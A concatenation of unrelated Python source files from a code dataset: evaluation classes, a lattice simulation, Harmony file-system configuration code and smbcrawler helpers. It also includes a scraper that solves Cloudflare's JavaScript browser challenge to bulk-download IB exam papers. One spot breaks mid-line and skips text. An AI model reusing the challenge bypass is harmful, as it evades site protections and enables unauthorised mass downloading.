Tuple[DataFrameValidator, ...],\n join_key: str = None,\n aggregates: Set[str] = None,\n output_file: PathLike = Path(\"/output/metrics.json\"),\n ):\n \"\"\"\n The base class for all evaluations. Sets the environment and controls\n the flow of the evaluation once `evaluate` is called.\n\n\n Parameters\n ----------\n ground_truth_path\n The path in the container where the ground truth will be loaded\n from\n predictions_path\n The path in the container where the submission will be loaded from\n file_sorter_key\n A function that determines how files are sorted and matched\n together\n file_loader\n The loader that will be used to get all files\n validators\n A tuple containing all the validators that will be used on the\n loaded data\n join_key\n The column that will be used to join the predictions and ground\n truth tables\n aggregates\n The set of aggregates that will be calculated by\n `pandas.DataFrame.describe`\n output_file\n The path to the location where the results will be written\n \"\"\"\n if aggregates is None:\n aggregates = {\n \"mean\",\n \"std\",\n \"min\",\n \"max\",\n \"25%\",\n \"50%\",\n \"75%\",\n \"count\",\n \"uniq\",\n \"freq\",\n }\n\n self._ground_truth_path = ground_truth_path\n self._predictions_path = predictions_path\n self._file_sorter_key = file_sorter_key\n self._file_loader = file_loader\n self._validators = validators\n self._join_key = join_key\n self._aggregates = aggregates\n self._output_file = output_file\n\n self._ground_truth_cases = DataFrame()\n self._predictions_cases = DataFrame()\n\n self._cases = DataFrame()\n\n self._case_results = DataFrame()\n self._aggregate_results = {}\n\n super().__init__()\n\n if isinstance(self._file_loader, CSVLoader) and self._join_key is None:\n raise ConfigurationError(\n f\"You must set a `join_key` when using {self._file_loader}.\"\n )\n\n @property\n def _metrics(self) -> Dict:\n \"\"\" Returns the calculated case and aggregate results \"\"\"\n return {\n \"case\": self._case_results.to_dict(),\n \"aggregates\": self._aggregate_results,\n }\n\n def evaluate(self):\n self.load()\n self.validate()\n self.merge_ground_truth_and_predictions()\n self.cross_validate()\n self.score()\n self.save()\n\n def load(self):\n self._ground_truth_cases = self._load_cases(\n folder=self._ground_truth_path\n )\n self._predictions_cases = self._load_cases(\n folder=self._predictions_path\n )\n\n def _load_cases(self, *, folder: Path) -> DataFrame:\n cases = None\n\n for f in sorted(folder.glob(\"**/*\"), key=self._file_sorter_key):\n try:\n new_cases = self._file_loader.load(fname=f)\n except FileLoaderError:\n logger.warning(\n f\"Could not load {f.name} using {self._file_loader}.\"\n )\n else:\n if cases is None:\n cases = new_cases\n else:\n cases += new_cases\n\n if cases is None:\n raise FileLoaderError(\n f\"Could not load any files in {folder} with \"\n f\"{self._file_loader}.\"\n )\n\n return DataFrame(cases)\n\n def validate(self):\n \"\"\" Validates each dataframe separately \"\"\"\n self._validate_data_frame(df=self._ground_truth_cases)\n self._validate_data_frame(df=self._predictions_cases)\n\n def _validate_data_frame(self, *, df: DataFrame):\n for validator in self._validators:\n validator.validate(df=df)\n\n @abstractmethod\n def merge_ground_truth_and_predictions(self):\n pass\n\n @abstractmethod\n def cross_validate(self):\n \"\"\" Validates both dataframes \"\"\"\n pass\n\n def _raise_missing_predictions_error(self, *, missing=None):\n if missing is not None:\n message = (\n \"Predictions missing: you did not submit predictions for \"\n f\"{missing}. Please try again.\"\n )\n else:\n message = (\n \"Predictions missing: you did not submit enough predictions, \"\n \"please try again.\"\n )\n\n raise ValidationError(message)\n\n def _raise_extra_predictions_error(self, *, extra=None):\n if extra is not None:\n message = (\n \"Too many predictions: we do not have the ground truth data \"\n f\"for {extra}. Please try again.\"\n )\n else:\n message = (\n \"Too many predictions: you submitted too many predictions, \"\n \"please try again.\"\n )\n\n raise ValidationError(message)\n\n @abstractmethod\n def score(self):\n pass\n\n # noinspection PyUnusedLocal\n def score_case(self, *, idx: int, case: DataFrame) -> Dict:\n return {}\n\n def score_aggregates(self) -> Dict:\n aggregate_results = {}\n\n for col in self._case_results.columns:\n aggregate_results[col] = self.aggregate_series(\n series=self._case_results[col]\n )\n\n return aggregate_results\n\n def aggregate_series(self, *, series: Series) -> Dict:\n summary = series.describe()\n valid_keys = [a for a in self._aggregates if a in summary]\n\n series_summary = {}\n\n for k in valid_keys:\n value = summary[k]\n\n # % in keys could cause problems when looking up values later\n key = k.replace(\"%\", \"pc\")\n\n try:\n json.dumps(value)\n except TypeError:\n logger.warning(\n f\"Could not serialize {key}: {value} as json, \"\n f\"so converting {value} to int.\"\n )\n value = int(value)\n\n series_summary[key] = value\n\n return series_summary\n\n def save(self):\n with open(self._output_file, \"w\") as f:\n f.write(json.dumps(self._metrics))\n\n\nclass ClassificationEvaluation(BaseEvaluation):\n \"\"\"\n ClassificationEvaluations have the same number of predictions as the\n number of ground truth cases. These can be things like, what is the\n stage of this case, or segment some things in this case.\n \"\"\"\n\n def merge_ground_truth_and_predictions(self):\n if self._join_key:\n kwargs = {\"on\": self._join_key}\n else:\n kwargs = {\"left_index\": True, \"right_index\": True}\n\n self._cases = merge(\n left=self._ground_truth_cases,\n right=self._predictions_cases,\n indicator=True,\n how=\"outer\",\n suffixes=(\"_ground_truth\", \"_prediction\"),\n **kwargs,\n )\n\n def cross_validate(self):\n missing = [\n p for _, p in self._cases.iterrows() if p[\"_merge\"] == \"left_only\"\n ]\n\n if missing:\n if self._join_key:\n missing = [p[self._join_key] for p in missing]\n self._raise_missing_predictions_error(missing=missing)\n\n extra = [\n p for _, p in self._cases.iterrows() if p[\"_merge\"] == \"right_only\"\n ]\n\n if extra:\n if self._join_key:\n extra = [p[self._join_key] for p in extra]\n self._raise_extra_predictions_error(extra=extra)\n\n def score(self):\n self._case_results = DataFrame()\n for idx, case in self._cases.iterrows():\n self._case_results = self._case_results.append(\n self.score_case(idx=idx, case=case), ignore_index=True\n )\n self._aggregate_results = self.score_aggregates()\n\n\nclass Evaluation(ClassificationEvaluation):\n \"\"\"\n Legacy class, you should use ClassificationEvaluation instead.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n warn(\n (\n \"The Evaluation class is deprecated, \"\n \"please use ClassificationEvaluation instead\"\n ),\n DeprecationWarning,\n )\n super().__init__(*args, **kwargs)\n\n\nclass DetectionEvaluation(BaseEvaluation):\n \"\"\"\n DetectionEvaluations have a different number of predictions from the\n number of ground truth annotations. An example would be detecting lung\n nodules in a CT volume, or malignant cells in a pathology slide.\n \"\"\"\n\n def __init__(self, *args, detection_radius, detection_threshold, **kwargs):\n super().__init__(*args, **kwargs)\n self._detection_radius = detection_radius\n self._detection_threshold = detection_threshold\n\n def merge_ground_truth_and_predictions(self):\n self._cases = concat(\n [self._ground_truth_cases, self._predictions_cases],\n keys=[\"ground_truth\", \"predictions\"],\n )\n\n def cross_validate(self):\n expected_keys = set(self._ground_truth_cases[self._join_key])\n submitted_keys = set(self._predictions_cases[self._join_key])\n\n missing = expected_keys - submitted_keys\n if missing:\n self._raise_missing_predictions_error(missing=missing)\n\n extra = submitted_keys - expected_keys\n if extra:\n self._raise_extra_predictions_error(extra=extra)\n\n def _raise_extra_predictions_error(self, *, extra=None):\n \"\"\" In detection challenges extra predictions are ok \"\"\"\n warn(f\"There are extra predictions for cases: {extra}.\")\n\n def _raise_missing_predictions_error(self, *, missing=None):\n \"\"\" In detection challenges missing predictions are ok \"\"\"\n warn(f\"Could not find predictions for cases: {missing}.\")\n\n def score(self):\n cases = set(self._ground_truth_cases[self._join_key])\n cases |= set(self._predictions_cases[self._join_key])\n\n self._case_results = DataFrame()\n\n for idx, case in enumerate(cases):\n self._case_results = self._case_results.append(\n self.score_case(\n idx=idx,\n case=self._cases.loc[self._cases[self._join_key] == case],\n ),\n ignore_index=True,\n )\n self._aggregate_results = self.score_aggregates()\n\n def score_case(self, *, idx, case):\n score = score_detection(\n ground_truth=self.get_points(case=case, key=\"ground_truth\"),\n predictions=self.get_points(case=case, key=\"predictions\"),\n radius=self._detection_radius,\n )\n\n # Add the case id to the score\n output = score._asdict()\n output.update({self._join_key: case[self._join_key][0]})\n\n return output\n\n def get_points(\n self, *, case, key: str\n ) -> List[Tuple[Union[int, float], Union[int, float]]]:\n raise NotImplementedError\n\n def score_aggregates(self):\n aggregate_results = super().score_aggregates()\n\n totals = self._case_results.sum()\n\n for s in totals.index:\n aggregate_results[s][\"sum\"] = totals[s]\n\n tp = aggregate_results[\"true_positives\"][\"sum\"]\n fp = aggregate_results[\"false_positives\"][\"sum\"]\n fn = aggregate_results[\"false_negatives\"][\"sum\"]\n\n aggregate_results[\"precision\"] = tp / (tp + fp)\n aggregate_results[\"recall\"] = tp / (tp + fn)\n aggregate_results[\"f1_score\"] = 2 * tp / ((2 * tp) + fp + fn)\n\n return aggregate_results\n","sub_path":"evalutils/evalutils.py","file_name":"evalutils.py","file_ext":"py","file_size_in_byte":12672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"560747278","text":"import os\nimport argparse\nimport numpy as np\nimport scipy as sp\nimport matplotlib.pyplot as plt\nfrom scipy.linalg import expm\nimport scipy.linalg as la;\nfrom tqdm import tqdm\nimport routines\nimport time\nimport datetime\nimport pycuda.gpuarray as gpuarray\nimport pycuda.autoinit\nimport skcuda.linalg as skla\n\nskla.init()\n\n# os.system(\"taskset -p 0xff %d\" % os.getpid())\n\n# Parse command line arguments into program variables\nclass System():\n pass\n\nparser = argparse.ArgumentParser(description='Simulate 1D lattice system with driving potential.')\n\n# Size, disorder magnitude, hopping strength\nparser.add_argument('N', type=int)\nparser.add_argument('w', type=float)\nparser.add_argument('J', type=float)\n\n# Stochastic distribution in onsite potentials?\nparser.add_argument('--disorder', action='store_true')\n\n# Ratchet parameters\nparser.add_argument('A', type=float)\nparser.add_argument('s', type=float)\nparser.add_argument('v', type=float)\nparser.add_argument('--ratchet', action='store_true')\n\n# # Various asymmetries and their magnitudes in Hamiltonian?\nparser.add_argument('o_v', type=float)\nparser.add_argument('h_v', type=float)\nparser.add_argument('r_v1', type=float)\nparser.add_argument('r_v2', type=float)\nparser.add_argument('--onsite', action='store_true')\nparser.add_argument('--hopping', action='store_true')\nparser.add_argument('--random', action='store_true')\nparser.add_argument('--periodic', action='store_true')\n\n# Simulation parameters\nparser.add_argument('ti', type=float)\nparser.add_argument('tf', type=float)\nparser.add_argument('num_times', type=int)\n\nargs = parser.parse_args(namespace=System)\nif System.v < 0:\n System.direction = 'left'\n System.v = np.abs(System.v)\nelse:\n System.direction = 'right'\n System.v = np.abs(System.v)\n\n# Run simulation with specified variables\n\n# Initialize system variables\nN = System.N\nw = System.w\nJ = System.J\ndisorder = System.disorder\ndist = \"Uniform\"\nonsite = System.onsite\no_v = System.o_v\nhopping = System.hopping\nh_v = System.h_v\nrandom = System.random\nr_v = (System.r_v1, System.r_v2)\nratchet_on = System.ratchet\ndirection = System.direction\nperiodic = System.periodic\n\n# Initialization of driving potential\nA = System.A\ns = System.s\nv = System.v\n\n# Initializes the time-independent Hamiltonian with given parameters\nH0 = routines.construct_hamiltonian(N, w, J, periodic, disorder, dist, \\\n onsite, hopping, random, \\\n o_v, h_v, r_v)\n\n# Initialization of initial wavefunction\n# Here, starts off electron at very center of lattice\n# Try different locations later\ninit_vec = np.zeros((N,))\ninit_vec[int(N / 2)] = 1\n\nti, tf = (System.ti, System.tf)\nnum_times = System.num_times\n\ndt = (tf - ti) / float(num_times)\nt0 = ti / float(10)\nx = range(N)\ntimes = np.array(range(num_times + 1), float) * tf / float(num_times)\ncurr_vec = np.copy(init_vec).reshape(N,1).astype(np.complex128)\nframe = 0\nall_x = []\nall_psi = np.zeros((N, num_times + 1))\nall_diag = np.zeros((N, num_times + 1))\n\n# Run simulation, saving all data to matrices and computing runtime\nstart_time = time.clock()\nfor i in tqdm(range(num_times + 1)):\n t = times[i]\n if ratchet_on == True:\n rp = routines.ratchet_diag(N, A, s, v, t, t0, direction)\n H = H0 + np.diag(rp)\n else:\n H = H0\n a = gpuarray.to_gpu(la.expm3(- 1j * H * dt, q=15))\n b = gpuarray.to_gpu(curr_vec)\n # print(a.dtype, a.shape)\n # print(b.dtype, b.shape)\n curr_vec = skla.dot(a, b).get()\n ### Tracks the unitary evolution of the norm (numeric instability)\n # if i % 10 == 0:\n # print np.dot(np.conj(curr_vec), curr_vec)\n \n # Saves current wavefunction to matrix\n # all_psi[:, i] = np.abs(curr_vec)\n \n # Saves current to list\n z = routines.exp_x0(curr_vec)\n all_x.append(z)\n\n # Saves current diagonal potential to matrix\n all_diag[:, i] = H[range(N), range(N)]\n\n### Save data to files and log results\nruntime = str(time.clock() - start_time) + \" seconds\"\ncurr_time = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S.%f\")\nparameters = \"N - {}, w - {}, J - {} \\n\" \\\n \"A - {}, s - {}, v - {} \\n\" \\\n \"periodic - {}, disorder - {}, ratchet - {} {} \\n\" \\\n \"onsite - {}, hopping - {}, random - {} \\n\" \\\n \"o_v - {}, h_v - {}, r_v - {} \\n\" \\\n \"ti, tf - {}, num_times - {} \\n\".format(\n N, w, J, A, s, v, periodic, disorder, ratchet_on, direction,\n onsite, hopping, random, o_v, h_v, r_v, (ti, tf), num_times)\n\nnp.save(curr_time + \" \", all_x)\nnp.save(curr_time + \" Psi\", all_psi)\nnp.save(curr_time + \" Diag\", all_diag)\n\n# Diagnostic values to see if simulation was successful\n# !!! I need some other measure of whether is significant?\nfinal_x = all_x[-1]\ncutoff = 5.0\nif abs(final_x - N / 2) > cutoff:\n with open('Significant Runs.txt', 'a') as f:\n f.write('{}\\n'.format(curr_time))\n# Next perhaps the cutoff can be related to how much the histogram\n# deviates from a delta at 50??? Good idea Richard lmfao\n\nwith open('Log5.txt', 'a') as f:\n f.write('------------------------------------------\\n')\n f.write('Simulation run at: {}\\n'.format(curr_time))\n f.write(parameters)\n f.write('Final was: {}\\n'.format(final_x))\n f.write('Done. Time taken: {}\\n'.format(runtime))\n f.write('Final values written to filenames: {}\\n'.format(curr_time))\n\nprint('Time taken for this simulation: {}'.format(runtime))\n\n","sub_path":"debug-threading/test-skcuda.py","file_name":"test-skcuda.py","file_ext":"py","file_size_in_byte":5470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"351229414","text":"import re\nimport os\nimport time\n\nfrom future.moves.html.parser import HTMLParser\nfrom future.moves.urllib.parse import urlparse\nimport requests\nimport js2py\n\n\nUSER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36'\n\n\n_session = requests.Session()\ndef get(url):\n try:\n response = _session.get(url, headers={'referer': url, 'user_agent': USER_AGENT})\n except requests.ConnectTimeout:\n raise # TODO\n if 'Checking your browser' in response.text:\n time.sleep(4)\n return _session.get(_construct_url(response), headers={'referer': url, 'user_agent': USER_AGENT})\n else:\n return response\n\n\ndef _construct_url(response):\n '''\n param response: the response get by direct GET from website accessed by Cloudfare.\n return real url to access to the page.\n '''\n parsedurl = urlparse(response.url)\n class Parser(HTMLParser):\n def __init__(self):\n super(Parser, self).__init__()\n self.jsflag = False\n self.args = {'vc': None, 'pass': None, 'answer': None}\n\n def handle_starttag(self, tag, attrs):\n if tag == 'input':\n attrs = dict(attrs)\n name = attrs['name']\n if name == 'jschl_vc':\n self.args['vc'] = attrs['value']\n elif name == 'pass':\n self.args['pass'] = attrs['value']\n elif tag == 'script' and dict(attrs)['type'] == 'text/javascript':\n self.jsflag = True\n\n def handle_endtag(self, tag):\n self.jsflag = False\n\n def handle_data(self, data):\n if self.jsflag:\n js = data\n explist = []\n varinikw = 'var s,t,o,p,b,r,e,a,k,i,n,g,f, '\n varini = js.index(varinikw) + len(varinikw)\n varfin = js.index('\":', varini)\n thevarname = js[varini: varfin].replace('={\"', '.')\n expini = js.index(':', varfin) + 1 # len('\":'), which appearded 2 lines above\n expfin = js.index('};', expini)\n explist.append('=' + js[expini: expfin])\n while True:\n try:\n expini = js.index(thevarname, expfin) + len(thevarname)\n expfin = js.index(';', expini)\n if ' 10)' not in js[expini: expfin]:\n explist.append(js[expini: expfin])\n except ValueError:\n break\n expstr = ';'.join(['a%s' % exp for exp in explist]) + ';'\n answer = js2py.eval_js(expstr) + len(parsedurl.netloc)\n self.args['answer'] = answer\n\n parser = Parser()\n parser.feed(response.text)\n domain = '{0.scheme}://{0.netloc}/'.format(parsedurl)\n url = r'{domain}cdn-cgi/l/chk_jschl?jschl_vc={vc}&pass={pass}&jschl_answer={answer}'.format(domain=domain, **parser.args)\n return url\n\n\ndef _get_all_item(href, files=False):\n '''\n intended to get all item in the list of an iboreddit.cf page\n '''\n class Parser(HTMLParser):\n def __init__(self):\n super(Parser, self).__init__()\n self.allitemlist = []\n self.intd = False\n def handle_starttag(self, tag, attrs):\n if tag == 'td':\n try:\n if dict(attrs)['class'] == 'fb-n':\n self.intd = True\n except KeyError:\n pass\n elif tag == 'a' and self.intd:\n href = dict(attrs)['href']\n if href != '..':\n if not files and href[-3:] == 'zip':\n pass\n else:\n self.allitemlist.append(href)\n def handle_endtag(self, tag):\n if tag == 'td':\n self.intd = False\n parser = Parser()\n r = get(href)\n parser.feed(r.text)\n return parser.allitemlist\n\n\ndef _term2str(term):\n '''\n Input: /assets/IB/temporary/Papers/1999%20May/\n output: 99M\n '''\n termsplit = term.split('/')[-2].split('%20')\n return termsplit[0][-2:] + termsplit[1][0]\n\n\ndef download_all_files(directory, subject, group, hl=True, sl=False, verbose=True):\n '''\n Download all files of specific subject from iboreddit website.\n param directory(string): the directory that downloaded files would be stored.\n param subject(string): the subject to store\n param group(int): the group of the subject\n\n Example usage: download_all_files('D:/savehere/', 'physics', 4)\n '''\n # if no directory create directory\n try:\n os.mkdir(directory)\n except OSError:\n pass\n if directory[-1] != '/' or directory[-1] != '\\\\':\n directory += '/'\n # find all term\n domain = 'https://iboreddit.cf'\n terms = _get_all_item('https://iboreddit.cf/assets/IB/temporary/Papers/')\n # for each term find url to corresponding group\n # download all paper of corresponding subject\n # for each paper format a name accd to term, paper, level, markscheme and save to the name\n if group == 1:\n group_identifier = 'literature'\n elif group == 2:\n group_identifier = 'acquisition'\n elif group == 3:\n group_identifier = 'societies'\n elif group == 4:\n group_identifier = 'sciences'\n elif group == 5:\n group_identifier = 'math'\n elif group == 6:\n group_identifier = 'art'\n if verbose:\n print('Got all terms, number=%d.'%len(terms))\n for term in terms:\n termstr = _term2str(term)\n if verbose:\n print('Looking into term', term)\n grouplist = _get_all_item(domain + term)\n for g in grouplist:\n if group_identifier in g.lower():\n if verbose:\n print(' For this term, the file is in directory', domain + g)\n paperlist = _get_all_item(domain + g)\n for paper in paperlist:\n if verbose:\n print(' Looking into paper', paper)\n if subject.lower() in paper.lower():\n ishl = False\n if 'hl' in paper.lower():\n if not hl:\n continue\n ishl = True\n elif 'sl' in paper.lower():\n if not sl:\n continue\n else:\n raise RuntimeError\n papernum = 0\n if 'paper_1' in paper:\n papernum = 1\n elif 'paper_2' in paper:\n papernum = 2\n elif 'paper_3' in paper:\n papernum = 3\n else:\n if verbose:\n print(' Failed to identify paper number.')\n tz = None\n if 'tz' in paper.lower():\n tz = paper[paper.lower().index('tz') + 2]\n markscheme = 'markscheme' in paper.lower()\n filename = ('%s_%s_P%d' % (termstr, 'HL' if ishl else 'SL', papernum)) + ('_TZ%s' % tz if tz else '') + ('_MS' if markscheme else '') + '.pdf'\n if os.path.exists(directory + filename):\n if verbose:\n print(' The file %s exists. This file will not be downloaded.' % filename)\n continue\n with open(directory + filename, 'wb') as o:\n if verbose:\n print(' Downloading', filename)\n r = get(domain + paper)\n b = o.write(r.content)\n if verbose:\n print(' Wrote %d byte' % b)\n","sub_path":"fetch.py","file_name":"fetch.py","file_ext":"py","file_size_in_byte":8086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"552682242","text":"def arr(A):\r\n\txor = 0\r\n\tcount=0\r\n\tfor i in A:\r\n\t\txor ^= (1<= i + 1)\n component.getSymbolByID(\"SYS_FS_IDX\" + str(i)).setValue(count[\"value\"] >= i + 1)\n\ndef showMediaConfMenu(sysFSMediaConfMenu, enable):\n component = sysFSMediaConfMenu.getComponent()\n auto_mount = component.getSymbolValue(\"SYS_FS_AUTO_MOUNT\")\n for i in range(0,4):\n media = component.getSymbolValue(\"SYS_FS_IDX\" + str(i))\n component.getSymbolByID(\"MEDIA_CONF_MENU\" + str(i)).setVisible((media==True) & (auto_mount==True))\n\ndef showMediaNVMFAT12(sysFSMediaNVM, enable):\n component = sysFSMediaNVM.getComponent()\n for i in range(0,4):\n fs = component.getSymbolValue(\"SYS_FS_TYPE_DEFINE_IDX\" + str(i))\n media = component.getSymbolValue(\"SYS_FS_MEDIA_TYPE_DEFINE_IDX\" + str(i))\n component.getSymbolByID(\"SYS_FS_USE_NVM_MBR\" + str(i)).setVisible((media == \"SYS_FS_MEDIA_TYPE_NVM\") & (fs == \"FAT\"))\n\ndef showMediaSRAMFAT12(sysFSMediaSRAM, enable):\n component = sysFSMediaSRAM.getComponent()\n for i in range(0,4):\n fs = component.getSymbolValue(\"SYS_FS_TYPE_DEFINE_IDX\" + str(i))\n media = component.getSymbolValue(\"SYS_FS_MEDIA_TYPE_DEFINE_IDX\" + str(i))\n component.getSymbolByID(\"SYS_FS_USE_SRAM_MBR\" + str(i)).setVisible((media == \"SYS_FS_MEDIA_TYPE_RAM\") & (fs == \"FAT\"))\n\ndef showMediaVOL0(sysFSVol, count):\n component = sysFSVol.getComponent()\n for i in range(0,4):\n component.getSymbolByID(\"SYS_FS_VOL_\" + str(i + 1) + \"_IDX0\").setVisible(count[\"value\"] >= i + 1)\n component.getSymbolByID(\"SYS_FS_VOL_\" + str(i + 1) + \"_IDX0\").setValue(count[\"value\"] >= i + 1)\n\ndef showMediaVOL1(sysFSVol, count):\n component = sysFSVol.getComponent()\n for i in range(0,4):\n component.getSymbolByID(\"SYS_FS_VOL_\" + str(i + 1) + \"_IDX1\").setVisible(count[\"value\"] >= i + 1)\n component.getSymbolByID(\"SYS_FS_VOL_\" + str(i + 1) + \"_IDX1\").setValue(count[\"value\"] >= i + 1)\n\ndef showMediaVOL2(sysFSVol, count):\n component = sysFSVol.getComponent()\n for i in range(0,4):\n component.getSymbolByID(\"SYS_FS_VOL_\" + str(i + 1) + \"_IDX2\").setVisible(count[\"value\"] >= i + 1)\n component.getSymbolByID(\"SYS_FS_VOL_\" + str(i + 1) + \"_IDX2\").setValue(count[\"value\"] >= i + 1)\n\ndef showMediaVOL3(sysFSVol, count):\n component = sysFSVol.getComponent()\n for i in range(0,4):\n component.getSymbolByID(\"SYS_FS_VOL_\" + str(i + 1) + \"_IDX3\").setVisible(count[\"value\"] >= i + 1)\n component.getSymbolByID(\"SYS_FS_VOL_\" + str(i + 1) + \"_IDX3\").setValue(count[\"value\"] >= i + 1)\n\ndef showMediaVolMenu(sysFSMediaVolConfMenu, enable):\n sysFSMediaVolConfMenu.setVisible(enable[\"value\"])\n\ndef mediaDeviceName0(sysFSMedia0VOL0DeviceName, name):\n component = sysFSMedia0VOL0DeviceName.getComponent()\n for i in range(0,4):\n component.getSymbolByID(\"SYS_FS_MEDIA_DEVICE_\" + str(i + 1) + \"_NAME_IDX0\").clearValue()\n component.getSymbolByID(\"SYS_FS_MEDIA_DEVICE_\" + str(i + 1) + \"_NAME_IDX0\").setValue(deviceNames.get(name[\"value\"]) + str(i + 1))\n\ndef mediaDeviceName1(sysFSMedia0VOL0DeviceName, name):\n component = sysFSMedia0VOL0DeviceName.getComponent()\n for i in range(0,4):\n component.getSymbolByID(\"SYS_FS_MEDIA_DEVICE_\" + str(i + 1) + \"_NAME_IDX1\").clearValue()\n component.getSymbolByID(\"SYS_FS_MEDIA_DEVICE_\" + str(i + 1) + \"_NAME_IDX1\").setValue(deviceNames.get(name[\"value\"]) + str(i + 1))\n\ndef mediaDeviceName2(sysFSMedia0VOL0DeviceName, name):\n component = sysFSMedia0VOL0DeviceName.getComponent()\n for i in range(0,4):\n component.getSymbolByID(\"SYS_FS_MEDIA_DEVICE_\" + str(i + 1) + \"_NAME_IDX2\").clearValue()\n component.getSymbolByID(\"SYS_FS_MEDIA_DEVICE_\" + str(i + 1) + \"_NAME_IDX2\").setValue(deviceNames.get(name[\"value\"]) + str(i + 1))\n\ndef mediaDeviceName3(sysFSMedia0VOL0DeviceName, name):\n component = sysFSMedia0VOL0DeviceName.getComponent()\n for i in range(0,4):\n component.getSymbolByID(\"SYS_FS_MEDIA_DEVICE_\" + str(i + 1) + \"_NAME_IDX3\").clearValue()\n component.getSymbolByID(\"SYS_FS_MEDIA_DEVICE_\" + str(i + 1) + \"_NAME_IDX3\").setValue(deviceNames.get(name[\"value\"]) + str(i + 1))\n\n","sub_path":"system/fs/config/sys_fs.py","file_name":"sys_fs.py","file_ext":"py","file_size_in_byte":25543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"116309023","text":"import random\n\nclass Script:\n def __init__(self, rules, id=0):\n self._rules = rules\n self._id = id\n self._py = r'''\nfrom players.player import Player\nimport random\n\nclass Script{0}(Player):\n\n def __init__(self):\n self._counter_calls = []\n for i in range({1}):\n self._counter_calls.append(0)\n \n def get_counter_calls(self):\n return self._counter_calls \n\n def get_action(self, state):\n actions = state.available_moves()\n \n for a in actions:\n '''\n \n self._if_string = r'''\n {0}:\n self._counter_calls[{1}] += 1\n return a, 0\n '''\n self._end_script = r'''\n return actions[0], 1\n ''' \n \n def _generateTextScript(self):\n \n number_rules = len(self._rules)\n py = self._py.format(str(self._id), str(number_rules))\n\n for i in range(number_rules):\n py += self._if_string.format(self._rules[i], i)\n\n py += self._end_script\n \n return py\n \n def saveFile(self, path):\n py = self._generateTextScript()\n \n file = open(path + 'Script'+ str(self._id) + '.py', 'w')\n file.write(py)\n file.close()","sub_path":"MetropolisHastings/Script.py","file_name":"Script.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"638703738","text":"import os\nimport re\nimport ipaddress\nimport json\nimport sys\nfrom lxml import etree as ET\nimport logging\n\nfrom impacket.smbconnection import SMBConnection\nfrom impacket.smb import SharedFile\nfrom smbcrawler.shares import Target, SMBShare\n\nlog = logging.getLogger(__name__)\n\n\nclass DataCollector(object):\n def __init__(self, args):\n self.args = args\n self.hosts = []\n\n def __iter__(self):\n return iter(self.hosts)\n\n def add_smbhost(self, smbClient):\n if smbClient not in self:\n self.hosts.append(smbClient)\n\n def write_output(self):\n log.info(\"Writing output...\")\n if self.args.outputfilename_grep:\n write_grep(self, self.args.outputfilename_grep)\n if self.args.outputfilename_xml:\n write_xml(self, self.args.outputfilename_xml)\n if self.args.outputfilename_json:\n write_json(self, self.args.outputfilename_json)\n # if self.args.outputfilename_normal:\n # write_normal(output)\n\n\nclass MyEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, DataCollector):\n return {str(smbClient): smbClient for smbClient in obj.hosts}\n elif isinstance(obj, SMBConnection):\n return {share.name: share for share in obj.shares}\n elif isinstance(obj, SMBShare):\n result = {}\n result[\"paths\"] = {path.get_full_path(): path\n if path.is_directory()\n else None\n for path in obj.paths}\n result[\"read\"] = obj.permissions['read']\n result[\"write\"] = obj.permissions['write']\n result[\"remark\"] = obj.remark\n result[\"list_root\"] = obj.permissions['list_root']\n result[\"guest\"] = obj.permissions['guest']\n return result\n elif isinstance(obj, SharedFile):\n return {path.get_full_path(): path if path.is_directory() else\n None for path in obj.paths}\n return json.JSONEncoder.default(self, obj)\n\n\ndef parse_targets(s):\n if (re.match(r\"^[a-zA-Z0-9-.]+(:[0-9]{1,5})?$\", s) or\n re.match(r\"^([0-9]{1,3}\\.){3}[0-9]{1,3}(:[0-9]{1,5})?$\", s)):\n # single ip or host name\n return [s]\n elif re.match(r\"^([0-9]{1,3}\\.){3}[0-9]{1,3}/[0-9]{1,2}$\", s):\n # ip range\n net = ipaddress.ip_network(s)\n return [str(ip) for ip in net.hosts()]\n else:\n log.error(\"Invalid host name or IP address: %s\" % s)\n return []\n\n\ndef parse_xml_file(filename):\n from libnmap.parser import NmapParser\n\n if filename == \"-\":\n content = sys.stdin.read()\n nmap_report = NmapParser.parse_fromstring(content)\n else:\n nmap_report = NmapParser.parse_fromfile(filename)\n result = []\n for h in nmap_report.hosts:\n for s in h.services:\n if (s.port in [445, 139] or\n s.service in ['netbios-ssn', 'microsoft-ds']):\n result.append(h.address)\n break\n return result\n\n\ndef parse_plain_file(filename):\n targets = []\n if filename == \"-\":\n for line in sys.stdin:\n targets += parse_targets(line)\n else:\n with open(filename, 'r') as f:\n for line in f:\n # strip newlines\n targets += parse_targets(line[:-1])\n return targets\n\n\ndef get_targets(target, inputfilename, timeout):\n targets = []\n for t in target:\n targets += parse_targets(t)\n if inputfilename:\n t = []\n try:\n from libnmap.parser import NmapParserException\n t = parse_xml_file(inputfilename)\n except ImportError:\n log.error(\"Module 'libnmap' not found, treating as a flat file\")\n except NmapParserException:\n log.debug(\"Not an XML file, treating as flat file\")\n if not t:\n t = parse_plain_file(inputfilename)\n if t:\n targets += t\n return [Target(t, timeout) for t in targets]\n\n\ndef output_files_are_writeable(args):\n for filename in [\n args.outputfilename_xml,\n args.outputfilename_json,\n # args.outputfilename_normal,\n args.outputfilename_grep,\n ]:\n if filename:\n try:\n with open(filename, 'w') as f:\n f.write('')\n except Exception as e:\n log.exception(e)\n return False\n return True\n\n\ndef save_file(data, filename, dirname):\n if not os.path.exists(dirname):\n os.makedirs(dirname)\n\n path = os.path.join(dirname, filename)\n if os.path.exists(path):\n count = 1\n while os.path.isfile(\"%s.%d\" % (path, count)):\n count += 1\n path = \"%s.%d\" % (path, count)\n\n with open(path, 'wb') as f:\n f.write(data)\n\n\ndef write_xml(output, filename):\n def add_paths_to_node(paths, root):\n for path in paths:\n dir_node = ET.SubElement(root, \"directory\")\n dir_node.set(\"name\", 